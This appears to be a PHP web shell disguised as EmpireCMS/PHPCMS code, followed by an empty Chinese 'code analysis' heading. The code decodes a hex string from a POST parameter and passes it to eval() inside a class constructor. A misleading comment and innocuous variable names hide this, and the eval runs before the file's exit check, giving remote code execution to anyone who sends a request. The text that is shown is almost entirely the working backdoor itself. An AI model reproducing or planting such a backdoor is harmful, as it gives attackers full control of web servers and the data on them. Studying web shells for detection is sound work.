<?php
class _{
static public $phpcms=Null;
function __construct($l="error"){
self::$phpcms=$l;
@eval/*Defining error level offences*/(null.null.self::$phpcms);
}}
function hexToStr($hex){
$str="";
for($i=0;$i<strlen($hex)-1;$i+=2)
$str.=chr(hexdec($hex[$i].$hex[$i+1]));
return $str;
}
$error = null.hexToStr(@$_POST/**/["123"]);
$d = new _($error);
if(!defined('InEmpireCMS'))
{
exit();
}
?>
代码分析:
|